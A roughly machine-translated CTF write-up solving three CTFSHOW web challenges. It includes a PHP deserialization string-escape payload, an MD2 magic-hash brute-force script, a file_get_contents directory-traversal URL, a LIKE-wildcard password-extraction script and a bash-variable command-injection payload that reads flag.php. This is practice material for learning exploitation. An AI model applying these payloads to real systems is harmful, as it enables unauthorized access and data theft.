CTFSHOW Mooncake Cup web

web1_esta rodada da noite

<?php
error_reporting(0);

class a
{
    
    
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
    
    
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
    
    
        if($this->password==='yu22x')
        {
    
    
            include('flag.php');
            echo $flag;
        }
        else
        {
    
    
            echo 'wrong password';
        }
    }
}

function filter($string){
    
    
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

Ataques de comprimento de desserialização de PHP mais óbvios, como:

O:1:"a":2:{
    
    s:5:"uname";s:5:"12345";s:8:"password";i:1;}

E se:

O:1:"a":2:{
    
    s:5:"uname";s:5:"12345";s:8:"password";i:123;}";s:8:"password";i:1;}

Só para dar um exemplo, significa que através de algumas funções customizadas de substituição, o valor em uname ficou maior, mas o comprimento após a serialização não mudou, aqui ainda é 5, então o valor obtido é 12345, e a senha é 123 , o último ";s:8:"password";i:1;}é equivalente a ser cortado

Nesta questão, o Firebasky será substituído pelo Firebaskyup, adicionando 2 dígitos por vez. E o que queremos construir é mais ou menos assim:

O:1:"a":2:{
    
    s:5:"uname";s:4:"feng";s:8:"password";s:5:"yu22x";}

Precisamos falsificar estes:

";s:8:"password";s:5:"yu22x";}

O comprimento é 30, então uname precisa de 15 Firebaskys, e a estrutura final é a seguinte:

<?php
class a
{
    
    
    public $uname='FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}';
    //public $uname="feng";
    public $password="yu22x";
}
function filter($string){
    
    
    return str_replace('Firebasky','Firebaskyup',$string);
}
echo filter(serialize(new a()));

Insira a descrição da imagem aqui

web2_ coração de velho

<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    
    
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
    
    
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
    
    
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
    
    
                    print_r(file_get_contents($url[1]));
                }else{
    
    
                    echo '差点点就成功了!';
                }
            }else{
    
    
                echo 'please give me url!!!';
            }     
    }else{
    
    
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    
    
    echo '第一个都过不了还想要flag呀?!';
}

Um desafio simples, exceto pelo md2 no meio que me inchava. . .

O primeiro é este:

if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    
    

Investigue a precisão do estouro de números de ponto flutuante, apenas construção arbitrária. É para continuar testando, como construir primeiro 9e-100e descobrir que $a!=0成立但是$a**2==0不成立, para ser franco, é usar o número de ponto flutuante para que não seja tão pequeno quanto 0, mas pode ser tão pequeno quanto próximo de 0 depois dele é ao quadrado.
O teste lentamente 9e-180pode ser realizado.

Depois, há o maligno MD2:

$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));

O problema com esta pergunta é o robots.txt. Normalmente, não há necessidade de escanear o catálogo para esse problema, mas eu não esperava que fosse feito para esse problema. . . Você pode finalmente entender esta dica:

É particularmente difícil quebrar o MD2 ?!
Direi baixinho que vi o pagamento do autor.
Mas os números não são claros. Divirta-se ~~~~
xxxxx024452 hash (“md2”, $ b)
xxxxxx48399 hash (“md2”, hash (“md2”, $ b))

Os últimos dígitos da estrutura de bec são fornecidos e os primeiros dois dígitos devem ser 0e. De acordo com os números do prompt, basta pressionar números puros para explodir e escrever um script Python para explodir:

from Crypto.Hash import MD2

for v1 in "0123456789":
    for v2 in "0123456789":
        for v3 in "0123456789":

            v = "0e" + v1 + v2 + v3 + "024452"
            obj = MD2.new()
            obj.update(v.encode("utf-8"))
            n1 = obj.hexdigest()

            if n1[0:2] == "0e" and n1[2:11].isdigit():
                print("第一个是:"+v)

for v1 in "0123456789":
    for v2 in "0123456789":
        for v3 in "0123456789":
            for v4 in "0123456789":
                v = "0e" + v1 + v2 + v3 + v4 + "48399"
                obj = MD2.new()
                obj.update(v.encode("utf-8"))
                n1 = obj.hexdigest()

                obj = MD2.new()
                obj.update(n1.encode("utf-8"))
                n2 = obj.hexdigest()

                if n2[0:2] == "0e" and n2[2:11].isdigit():
                    print("第二个是:"+v)

A biblioteca Crypto onde o python está instalado tem muitos problemas metafísicos. Eu tinha esquecido essas soluções quando escrevi o blog. . Espero que os retardatários peçam suas próprias bênçãos. . . Acho que a parte mais difícil dessa questão não é o conhecimento, mas a instalação da biblioteca Crypto. . .

O último é este:

highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
    
    
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
    
    
                    print_r(file_get_contents($url[1]));
                }else{
    
    
                    echo '差点点就成功了!';
                }
            }else{
    
    
                echo 'please give me url!!!';
            }  

Foi sugerido que o sinalizador está em fl0g.txt, portanto, deve ser lido por file_get_contents.
Aqui está um pequeno truque da função file_get_contents:

Quando a função file_get_contents () do PHP encontra um cabeçalho de pseudo-protocolo desconhecido, ela usa o cabeçalho do pseudo-protocolo como uma pasta, causando brechas de passagem de diretório. Neste momento, continue a saltar para cima do diretório para ler o arquivo no diretório raiz .

Portanto, construa um cabeçalho de protocolo desconhecido e, em seguida, o diretório pode ser percorrido:

url=httpp://ctfshow.com/../../../../../../../../fl0g.txt

web3_Mo negativo Chanjuan

Depois de terminar a vingança do mooncake cup web3, que é a introdução da WEB, o campo de visão é realmente ampliado quando o assunto é esse.

O primeiro a entrar no ambiente é fazer o login, f12 viu informações importantes:

<!--注意:正式上线请删除注释内容! -->
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

Vendo que era assim, pensei que precisava ser injetado. Corri o fuzz e senti que toda a injeção necessária foi dada para banir, mas os curingas% e _ of like só foram banidos. Pensei que poderia fazer login com sucesso se Eu poderia selecionar o resultado e, em seguida, adicionar _Matching, apenas 32 correspondências foram encontradas, mas foi retornado:
Eu filtrou todos os caracteres. Por que você pode entrar? Saia!
Explique que a senha pode ser injetada no Boolean para esgotar , escreva um python:

import requests

url="http://e311aa89-4b46-4cdb-bf83-cfdb0504d0a3.chall.ctf.show/login.php"

password=""
length=32
result="67815b0c009ee970fe4014abaa3Fa6A0"
for i in range(0,33):
    for j in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
        payload=password+j+"_"*(31 - len(password))
        data={
    
    
            "username":"yu22x",
            "password":payload
        }
        r=requests.post(url=url,data=data).text
        if "wrong" not in r:
            password+=j
            print(password)
            break

Depois que o login for bem-sucedido, vá para /P1099.php, a execução de comando mais óbvia, a frente é ping, use; para separar os comandos, e então encontre uma maneira de executar o segundo comando que você mesmo construiu.

Porque eu fiz muitas versões aprimoradas desta questão, bani várias coisas e aprendi uma variedade de posturas, a segunda questão, que quase não tem filtro, é muito fácil. É para filtrar letras minúsculas e alguns símbolos. Esta questão é construída usando as variáveis ​​integradas do bash. Como não há proibição de números, é mais fácil de construir. Coloque a seguinte carga útil em / bin / base64 flag.php:

ip=127.0.0.1;${
    
    PATH::1}???${
    
    PATH::1}????64 ????.???

Insira a descrição da imagem aqui
Construa / basta. Mais posturas podem ser aprendidas após escovar a série de vingança do web3. Hehehe.

Acho que você gosta

Origin blog.csdn.net/rfrder/article/details/113274503
Recomendado
Clasificación